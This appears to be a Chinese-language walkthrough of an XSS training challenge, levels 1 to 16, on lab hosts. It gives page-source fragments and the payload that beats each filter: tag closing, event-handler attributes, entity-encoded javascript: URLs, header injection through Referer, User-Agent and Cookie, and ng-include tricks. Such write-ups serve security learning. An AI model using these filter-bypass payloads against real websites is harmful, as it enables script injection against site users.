xss_challenge

01

```
http://10.10.10.10:81/level1.php?name=%3Cscript%3Ealert(%27xss%27)%3Cscript%3E

<script>alert('xss')</script>
```

02

```
]来到level2</title>


center>欢迎来到level2</h1>
center>没有找到和&lt;Script&gt;alert('xss')&lt;/scRipt&gt;相关的结果.</h2><c
on=level2.php method=GET>
ıe=keyword  value="<Script>alert('xss')</scRipt>">
:=submit name=submit value="搜索"/>
```

```
" onclick="alert('xss')"
" onmouseleave="alert('xss')"
```

03

标签闭合

```
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert('xss')&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert('xss')&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:29</h3></body>
```

```
' onclick='alert(1)
```

04

标签闭合

```
ow.location.href='level5.php?keyword=find a way out!';

pt>
>欢迎来到level4</title>
d>
/>
lign=center>欢迎来到level4</h1>
lign=center>没有找到和&lt;script&gt;alert('xss')&lt;/script&gt;相关的结果.</h2><cente
 action=level4.php method=GET>
t name=keyword  value="scriptalert('xss')/script">
t type=submit name=submit value=搜索 />
n>
ter><center><img src=level4.png></center>
lign=center>payload的长度:25</h3></body>
l>
```

```
" onclick="alert(1)
```

05

标签闭合

```
ipt>
>欢迎来到level5</title>
ad>
ly>
align=center>欢迎来到level5</h1>
align=center>没有找到和&lt;script&gt;alert('xss')&lt;/script&gt;相关的结果.</h2><center>
n action=level5.php method=GET>
ut name=keyword  value="<scr_ipt>alert('xss')</script>">
ut type=submit name=submit value=搜索 />
m>
ter><center><img src=level5.png></center>
align=center>payload的长度:30</h3></body>
nl>
```

```
" > <a href="javascript:alert(1)">111
```

06

标签闭合


```
"> <sCriPt>alert('xss')</sCriPt>
```

07

标签闭合

```
" oONnclick="alert(1)
```

08

伪协议

```
java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
```

09

伪协议

```
java&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://baidu.com')
```

10

```
http://10.10.10.10:81/level10.php?
t_sort=%22%20onclick=%22alert(1)%22%20type=%22%22
```

11

```
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="1&quot; onclick=&quot;alert(1)&quot; type=&quot;text" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
```

```
Referer: aa" onclick="alert(1)" type="text"
```

12

```
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
```

```
User-Agent: 1" onclick="alert(1)" type="text"
```

13

```
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
```

```
Cookie: user=" onclick="alert(1)" type="text"
```

14

```
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>
```

```
<div ng-include="'myFile.htm'"></div>
```

```
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
```

ng-include 指令作为元素使用:

```
<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>
```

所有的 HTML 元素都支持该指令。

```
http://172.16.75.20:85/level15.php?src=%22level1.php?
name=%3Cimg%20src=1%20onerror=%22alert(1)%22%3E%22
```

16


```
http://10.10.10.10:81/level16.php?
keyword=%3Cimg%0Asrc=1%0Aonerror=%22alert(1)%22%3E
```